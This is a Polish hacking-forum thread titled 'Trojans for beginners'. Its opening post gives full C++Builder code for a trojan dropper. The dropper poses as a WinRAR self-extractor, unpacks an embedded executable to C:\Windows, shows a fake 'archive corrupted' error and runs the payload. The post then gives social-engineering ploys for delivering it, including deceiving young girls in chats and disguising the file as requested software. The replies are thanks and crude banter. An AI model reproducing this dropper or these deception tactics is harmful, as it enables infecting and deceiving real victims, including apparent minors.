Trojany dla początkujących

...czyli co i jak zrobić
ODPOWIEDZ
TwojStary
Awatar użytkownika
Wizytówka

Posty: 13318
Rejestracja: 15-04-2013, 00:03
Lokalizacja: Ukryte
Beczki: 548

Trojany dla początkujących

#52596

Post autor: TwojStary » 06-12-2013, 15:15

Jest wiele sposobów na podrzucenie komuś trojana.
Nie odkryłem Ameryki, ale uważam, że ten sposób połączony z socjotechniką na chociażby
podstawowym poziomie może przynieść oczekiwane efekty.

Tworzymy dwa pliki textowe o rozszerzeniach *.RC i *.RH
Nazwa obydwóch musi być identyczna. W przykładzie przyjąłem, że te pliki to app.rh i app.rc

Zawartość pliku *.RC
-----------------------------------

Kod:

#include "app.rh"

<--nazwa pliku *.RH

Kod:

ID_APPL RCDATA "C:\\plik.exe"

<--nazwa programu wraz ze ścieżką do niego
-----------------------------------
Zawartość pliku *.RH
-----------------------------------

Kod:

#ifndef APP_RH

<--Gdzie APP to nazwa tworzonych właśnie plików

Kod:

#define APP_RH

<--Gdzie APP to nazwa tworzonych właśnie plików

Kod:

#define ID_APPL 1000

<--Gdzie ID_APPL to identyfikator zasobu. Liczba pozostaje bez zmian.

Kod:

#endif

-----------------------------------

Otwieramy BCB (testowane na BCB6)
Tworzymy nowy projekt
Ustawiamy wartości Form1 na:

Caption = Winrar Self Extractor
Color = clMaroon
TransparentColor = True
TransparentColorValue = clMaroon (Taki sam kolor jak podany w wartości "Color")
BorderStyle = BsNone

W menu "Project" wybieramy "Add To Project..." i wybieramy wcześniej utworzony plik *.RC

W pliku źródłowym Unit1.cpp

Pod wpisem #include "Unit1.h" dodajemy
-----------------------------------

Kod:

#include <memory>


Kod:

#include "app.rh"

<--nazwa pliku *.RH (Pliki *.RC i *.RH muszą być w tym samym folderze)
-----------------------------------
Tworzymy funkcje wypakowywującą nasz plik:
-----------------------------------------------

Kod:

void __fastcall Extractor(unsigned short ID, AnsiString FileName)
{
HRSRC rsrc = FindResource(HInstance, MAKEINTRESOURCE(ID), RT_RCDATA);
if(!rsrc)
{
Application->MessageBox("Archiwum uszkodzone",
"WinRar Self Extractor", MB_OK | MB_ICONSTOP);
return;
}

DWORD Size = SizeofResource(HInstance, rsrc);
HGLOBAL MemoryHandle = LoadResource(HInstance, rsrc);

if(MemoryHandle == NULL) return;

BYTE *MemPtr = (BYTE *)LockResource(MemoryHandle);

std::auto_ptr<TMemoryStream>stream(new TMemoryStream);
stream->Write(MemPtr, Size);
stream->Position = 0;

TMemoryStream *Ms = new TMemoryStream;
Ms->Position = 0;
Ms->LoadFromStream(stream.get());
Ms->Position = 0;
Ms->SaveToFile(FileName);
Ms->Free();
}

-------------------------------------------------

Funkcje wywołujemy w zdarzeniu Form1 OnActivate
-------------------------------------------------

Kod:

Extractor(ID_APPL, "C:\\Windows\\plik.exe");

<-ID_APPL identyfiktor pliku a ścieżka to miejsce docelowe

Kod:

Application->MessageBox("Archiwum uszkodzone.","Winrar Self Extractor",
MB_OK | MB_ICONHAND );

<-- Fałszywy komunikat o uszkodzeniu archiwum

Kod:

WinExec("C:\\Windows\\plik.exe", SW_SHOW);

<--Urachamia wypakowany plik

Kod:

Close();

<--Wiadomo chyba....
-------------------------------------------------

Project\Options\Packages i odznaczamy "Build with runtime packages"
Przechodzimy do zakładki Linker o odznaczamy "Use dynamic RTL" i "Use debug libraries"
Dopiero kompilujemy itd.

Ok. Doszliśmy do końca projektu (prawie).
Teraz wystarczy zmienić domyślną ikonę programu na ikone Self Extractora z Winrara.
Jeśli jej nie mamy bardzo prosto można ją wyciągnąć programem IrfanView.
Well Done (znowu prawie).

Teraz kilka wariantów na podrzucenie komuś tak spreparowanego pliku:

1. Głupim lolitkom na czatach mówiąc, że to kolekcja ze stu spakowanych zdjęć.
Jak by były wbrew pozorom nie ufne to mówisz, że dodawanie stu załączników jest
trochę uciążliwe i czasochłonne, a masz tyle zdjęć bo jesteś modelem itd..
Na pewno łykną.

2. Czekasz aż ktoś z sieci zapyta Cię o jakiś ważny dla niego program wtedy zmieniasz nazwę pliku na program którego szuka i dajesz mu to czego szukał ;)

3. Udostępniasz w sieci Plik z nazwą np. "9999 Tips & Tricks" lub coś w podobnie na co jest popyt i czekasz.
Obrazek
Tato, co robiłeś jak mnie nie było na świecie? - byłem TwoimStarym na BW. ~Finczy

Remik
Awatar użytkownika
Super VIP

Posty: 7269
Rejestracja: 25-01-2013, 20:31
Beczki: 529

Re: Trojany dla początkujących

#52618

Post autor: Remik » 06-12-2013, 23:52

Napisałbym poradnik na dobry phlising, ale zapodziałem plik z danymi, a nie pamiętam kodu. Ema.
100icki pisze:
  • ok to niech ci zdechnie wszystko co kochasz

kupamen
User

Posty: 145
Rejestracja: 19-04-2013, 23:01

Re: Trojany dla początkujących

#53390

Post autor: kupamen » 14-12-2013, 13:19

przyda sie dzienki

zjamnik
User

Posty: 261
Rejestracja: 17-04-2013, 19:19

Re: Trojany dla początkujących

#53430

Post autor: zjamnik » 14-12-2013, 19:03

I co to niby robi?
Twoja sygnatura była nieregulaminowa i została usunięta przez coś.
Zapoznaj się z regulaminem.

TwojStary
Awatar użytkownika
Wizytówka

Posty: 13318
Rejestracja: 15-04-2013, 00:03
Lokalizacja: Ukryte
Beczki: 548

Re: Trojany dla początkujących

#53434

Post autor: TwojStary » 14-12-2013, 20:03

zjamnik pisze:I co to niby robi?
ZA TAKIE NIEŚMIESZNE ŻARTY O TEJ GODZINIE NIE RAZ JUŻ BANY LECIAŁY

Serio.
Obrazek
Tato, co robiłeś jak mnie nie było na świecie? - byłem TwoimStarym na BW. ~Finczy

pikus
User

Posty: 134
Rejestracja: 23-12-2013, 08:43

Re: Trojany dla początkujących

#55394

Post autor: pikus » 23-12-2013, 14:42

Dzięki, przyda się :thumbup:

rusek
User

Posty: 204
Rejestracja: 07-12-2013, 20:29
Beczki: 4

Re: Trojany dla początkujących

#62679

Post autor: rusek » 23-01-2014, 11:49

a gdzie jakieś pliki próbne? bo pisać mi się nie chce ;P

pawian
Awatar użytkownika
Moderator

Posty: 44139
Rejestracja: 05-11-2013, 17:01
Beczki: 992

Re: Trojany dla początkujących

#62697

Post autor: pawian » 23-01-2014, 13:00

Pliki próbne pewnie usunięte z powodu trojanów :czesc:
Obrazek

rusek
User

Posty: 204
Rejestracja: 07-12-2013, 20:29
Beczki: 4

Re: Trojany dla początkujących

#62702

Post autor: rusek » 23-01-2014, 13:09

na serwerze jest antywirus?

TR-17F
User

Posty: 63
Rejestracja: 21-03-2014, 00:00
Beczki: 1

Re: Trojany dla początkujących

#91867

Post autor: TR-17F » 17-05-2014, 22:28

Tak, Avast.
Poradnik fajny, ciekawe czy sam pisałeś czy copy & paste.

Remik
Awatar użytkownika
Super VIP

Posty: 7269
Rejestracja: 25-01-2013, 20:31
Beczki: 529

Re: Trojany dla początkujących

#91870

Post autor: Remik » 17-05-2014, 22:37

phpBB [youtube]


Musiałem xD
100icki pisze:
  • ok to niech ci zdechnie wszystko co kochasz

usunięte konto
Awatar użytkownika
Błazen

Posty: 120398
Rejestracja: 13-04-2013, 21:50
Beczki: 1588

Re: Trojany dla początkujących

#91871

Post autor: usunięte konto » 17-05-2014, 22:43

Remik pisze:
phpBB [youtube]


Musiałem xD
chujowe, niezabawne
Jebać narkomanów, zawsze jestem czysty.
To konto przedstawia wyimaginowaną postać.
Treść postów prezentuje wcześniej napisane scenariusze. Jest to fikcja.

Remik
Awatar użytkownika
Super VIP

Posty: 7269
Rejestracja: 25-01-2013, 20:31
Beczki: 529

Re: Trojany dla początkujących

#92203

Post autor: Remik » 19-05-2014, 16:06

Ridż pisze: Musiałem xD
chujowe, niezabawne[/quote]

Przepraszam, że wyśmiewam się z Twojej dziewczyny :badger:
100icki pisze:
  • ok to niech ci zdechnie wszystko co kochasz

usunięte konto
Awatar użytkownika
Błazen

Posty: 120398
Rejestracja: 13-04-2013, 21:50
Beczki: 1588

Re: Trojany dla początkujących

#92208

Post autor: usunięte konto » 19-05-2014, 16:16

Remik pisze:Przepraszam, że wyśmiewam się z Twojej dziewczyny :badger:
:b: :b:
Mimo wszystko to chujowe.
Jebać narkomanów, zawsze jestem czysty.
To konto przedstawia wyimaginowaną postać.
Treść postów prezentuje wcześniej napisane scenariusze. Jest to fikcja.

ODPOWIEDZ

Kto jest online

Użytkownicy przeglądający to forum: Obecnie na forum nie ma żadnego zarejestrowanego użytkownika i 11 gości